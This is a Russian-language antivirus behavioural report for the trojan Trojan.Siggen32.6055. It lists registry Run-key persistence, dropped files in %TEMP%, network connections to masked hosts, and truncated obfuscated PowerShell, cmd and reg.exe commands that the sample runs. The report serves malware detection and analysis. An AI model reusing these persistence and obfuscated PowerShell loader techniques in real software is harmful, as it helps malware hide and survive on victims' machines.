Trojan.Siggen32.6055

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Copaiye' = '%Polyunsaturate% -windowstyle 2 $gazellelike='g'+'p';$Akademiingenirerne=(.($gazellelike) 'HKCU:\Software\fornyedes\').'Syngas'...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\misbills\standsmssige\hydrotropic\junglefeberen.eks
%TEMP%\misbills\standsmssige\hydrotropic\shieldtail224.tre
%TEMP%\misbills\standsmssige\hydrotropic\chunari80.gre
%TEMP%\misbills\standsmssige\hydrotropic\engangsmateriales.upl
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\hyperactivities.txt
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\interneringer.ver
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\microgastrinae213.pre
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\opdateringstid.acc
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\praktiklederne.pan
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\prateful58.rob
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\sauna.ove
%TEMP%\misbills\standsmssige\hydrotropic\nonpatently196\slugte.fil
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\strammerne.bag
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\allittereres.sco
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\antiascetic.aug
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\bipartite.vag
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\brownnoser.und
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\centralstyrelsernes.kog
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\clothesless.ini
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\endeavoring.pne
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\fortrstningsfulderes.txt
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\fredsaftalerne.dum
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\gravernaal.fed
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\halvlegs.bes
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\haruspex.uni
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\kampdommere.gen
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\labras.non
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\luftpostens.fre
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\minionism.mis
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\noosers.ham
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\okeydoke.sob
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\paramastoid.afb
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\reunitable.txt
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\rubels.ety
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\crumping\skullet.kjo
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\crumping\sukkertop.skr
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\crumping\tankstationerne.urb
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\crumping\filmomraadet\ulmous.alg
%TEMP%\misbills\standsmssige\hydrotropic\obtesting79\assistancers\crumping\filmomraadet\unicelled.fle
%TEMP%\tavlende.exe

Сетевая активность

Подключается к

'od.lk':443
'we#.##endrive.com':443
'oc##.##arfieldtech.com':80

TCP

Запросы HTTP GET

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?40##############
http://oc##.##arfieldtech.com//MEkwRzBFMEMwQTAJBgUrDgMCGgUABBT1ZqtwV0O1KcYi0gdzcFkHM%2BuArAQUJUWBaFAmOD07LSy%2BzWrZtj2zZmMCCARzWRwvnyFp

Другие

'od.lk':443
'we#.##endrive.com':443

UDP

DNS ASK od.lk
DNS ASK we#.##endrive.com
DNS ASK oc##.##arfieldtech.com

Другое

Ищет следующие окна

ClassName: '#32770' WindowName: ''

Запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle minimized "$Indlsningsmetoderne=gc -Raw '%TEMP%\misbills\standsmssige\hydrotropic\Shieldtail224.tre';$Taksonomier=$Indlsningsmetoderne.SubString(76151,3);$Catabolic++; .$Taksonomie...
'%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Copaiye" /t REG_EXPAND_SZ /d "%Polyunsaturate% -windowstyle 2 $gazellelike='g'+'p';$Akademiingenirerne=(.($gazellelike) 'H... (со скрытым окном)
'%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Copaiye" /t REG_EXPAND_SZ /d "%Polyunsaturate% -windowstyle 2 $gazellelike='g'+'p';$Akademiingenirerne=(.($gazellelike) 'HKCU:\So...